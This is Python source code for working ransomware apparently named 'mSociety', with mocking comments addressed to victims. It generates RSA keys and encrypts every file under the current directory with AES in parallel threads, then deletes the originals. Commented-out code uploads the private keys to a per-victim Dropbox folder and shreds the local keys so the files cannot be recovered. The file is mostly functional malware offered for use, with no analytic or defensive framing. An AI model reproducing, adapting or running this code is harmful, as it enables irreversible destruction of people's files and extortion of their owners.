#!/usr/bin/env python # -*- coding: utf-8 -*- # ------------------------------------------------- # importing libs # ------------------------------------------------- import os,sys import threading # if have error run bellow command # pip install pycrypto from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from Crypto.Cipher import AES, PKCS1_OAEP import base64, socket # ------------------------------------------------- ### (( if need upload keys to drop box de-comment bellow lines )) ### # ------------------------------------------------- # try: # import dropbox # from dropbox.files import WriteMode # from dropbox.exceptions import ApiError, AuthError # except (ImportWarning, ImportError): # print ("-"*50) # print("installing libraries ...") # print ("-"*50) # os.system("python3 -m pip install dropbox") # try: # from requests import get, post # except (ImportWarning, ImportError): # print ("-"*50) # print("installing libraries ...") # print ("-"*50) # os.system("python3 -m pip install requests") # try: # print ("check internet ...") # get('https://github.com/c4ssif3r') # print ("success ✓") # except: # sys.exit("cant connect to internet !") # ------------------------------------------------- # get user uname for create a foder on drop box # ------------------------------------------------- try: ID = os.uname()[1]+"-"+os.uname()[2] except: ID = socket.gethostname()+"-"+os.getlogin() #socket.gethostname() if ID: pass else: ID = socket.gethostname() # ------------------------------------------------- # keys . keys that created by mSociety encryptor tool . # ------------------------------------------------- LOCALFILES = ['private.pem', 'public.pem'] # ------------------------------------------------- # this for drop box ! (create folder for each targets) BACKUPPATHS = [f'/{ID}/private.pem', f'/{ID}/public.pem'] # ------------------------------------------------- # refresh drop box token automatically . # ------------------------------------------------- # def refresh_token(): # ''' # do > token refresher function # requirements > cookie of your account, referer''' # # ------------------------------------------------- # url = 'https://www.dropbox.com/developers/apps/generate_access_token' # cookie = 'your cookie here' # payload = 's_xhr=true&t=bucZ1QoMeaV5EPyp0VCW8M&app_id=250099' # your drop box token . # headers = { # "Host": "www.dropbox.com", # "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0", # "Accept": "*/*", # "Accept-Language": "en-US,en;q=0.5", # "Accept-Encoding": "gzip, deflate, br", # "Referer": "https://www.dropbox.com/developers/apps/info/e49u7xfeuksbvwt", # "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", # "X-Dropbox-Client-Yaps-Attribution": "atlasservlet.api_developers-live:prod-pdx", # "Content-Length": str(len(payload)), # "Origin": "https://www.dropbox.com", # "Connection": "keep-alive", # "Cookie": cookie, # "Sec-Fetch-Dest": "empty", # "Sec-Fetch-Mode": "cors", # "Sec-Fetch-Site": "same-origin"} # return post(url, headers=headers, data=payload).json()["token"] # ------------------------------------------------- # get and save token # ------------------------------------------------- #_________YOU CAN SET TOKEN MAUALLY !_______ # TOKEN = refresh_token() # OR 'your token' # dbx = dropbox.Dropbox(TOKEN) # try: # dbx.users_get_current_account() # except AuthError as err: # sys.exit("CANT ACCESS . ERR.") # TOKEN = refresh_token() # print (TOKEN) #try: # dbx = dropbox.Dropbox(TOKEN) # dbx.users_get_current_account() #except AuthError as err: sys.exit("token Err") # ------------------------------------------------- # this func upload your keys to your dropBox account! # ------------------------------------------------- # def iLoveYou(): # ''' # this loves you :) # like > mojia loves you. # do > this function upload your keys to your drop box account. ''' # for local_file, backup_path in zip(LOCALFILES, BACKUPPATHS): # with open(local_file, 'rb') as f: # # print(f"Uploading {local_file} to Dropbox as {backup_path}...") # try: # dbx.files_upload(f.read(), backup_path, mode=WriteMode('overwrite')) # except ApiError as err: # if (err.error.is_path() and err.error.get_path().error.is_insufficient_space()): # sys.exit("ERROR: space.") # elif err.user_message_text: # # print(err.user_message_text) # sys.exit("cant access to main server. ") # else: # # print(err) # sys.exit("global err. contact to NEFERIAN (MOJIA) and then report this problem (˘・_・˘)") # ------------------------------------------------- # ignore files ( files on this list never encrypted! ) # ------------------------------------------------- excluded_files = ['private.pem', 'public.pem','mSociety00.dat','mSociety00.dat.py'] # ------------------------------------------------- encrypted_files = set() # ------------------------------------------------- # mSociety Encryptor > fuck off anythings # ------------------------------------------------- def mSocietyCryptor(file_path, public_key, custom_extension): ''' well well well XD this is a fucking functioin do > envrypt and then replace (delete) real files ! fuck your 127.0.0.1 with this ! important > if you dont have keys *(you can not NEVER DE-CRYPT YOUR FUCKING DATA!)*''' with open(file_path, 'rb') as f: original_data = f.read() session_key = get_random_bytes(16) cipher_rsa = PKCS1_OAEP.new(public_key) enc_session_key = cipher_rsa.encrypt(session_key) cipher_aes = AES.new(session_key, AES.MODE_EAX) ciphertext, tag = cipher_aes.encrypt_and_digest(original_data) enc_file_path = file_path + custom_extension with open(enc_file_path, 'wb') as f: for x in (enc_session_key, cipher_aes.nonce, tag, ciphertext): f.write(x) os.remove(file_path) encrypted_files.add(file_path) # ------------------------------------------------- # create threads for fasting encryption for each Folder and File. # ------------------------------------------------- def mSocietyWorker(directory_path, public_key, custom_extension): threads = [] for root, dirs, files in os.walk(directory_path): for file in files: if not file.endswith(custom_extension) and file not in excluded_files and file not in encrypted_files: file_path = os.path.join(root, file) t = threading.Thread(target=mSocietyCryptor, args=(file_path, public_key, custom_extension)) t.start() threads.append(t) for t in threads: t.join() # ------------------------------------------------- # delete files with shred if cant delete use os.remove() # ------------------------------------------------- def shreder(file_): ''' delete files with shred ! if cant delete ? delete with os.remove() shred > is very good for delete files without recovery ! (pwn your home)''' try: os.system(f"shred -uxzn5 {file_}") except: os.remove(file_) if __name__ == '__main__': if not os.path.exists('private.pem') or not os.path.exists('public.pem'): # ------------------------------------------------- # create keys if not exist . # ------------------------------------------------- key = RSA.generate(2048) private_key = key.export_key() public_key = key.publickey().export_key() with open('private.pem', 'wb') as f: f.write(private_key) with open('public.pem', 'wb') as f: f.write(public_key) else: public_key = RSA.import_key(open('public.pem').read()) # ------------------------------------------------- # if you want your keys upload to drop box uncomment bellow codes # ------------------------------------------------- # try:iLoveYou() # keys uploader function # except:pass current_directory = os.getcwd() public_key = RSA.import_key(open('public.pem').read()) mSocietyWorker(current_directory, public_key, '.mSociety00') try: # this delete your keys !!!! ''' very IMPORTANT > IF UNCOMMENT THIS LINES YOUR PRIVATE AND PUBLIC KEYS DELETING AND YOU NEVER CAN DE-CRYPT YOUR FILES TAKE CARE !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! IF YOU DONT HAVE KEYS PLZ CRY IN MY TELEGRAM DM > (mSociety leader) @iranPwner XD''' # ------------------------------------------------- # are you sure uncomment this lines ? # ------------------------------------------------- # shreder('private.pem') # shreder('public.pem') except: pass # ------------------------------------------------- # giving to you thanks for fucking XD ↓ # ------------------------------------------------- finally: print("THANK YOU B-COZ RUN mSociety00.dat (╯▽╰ )")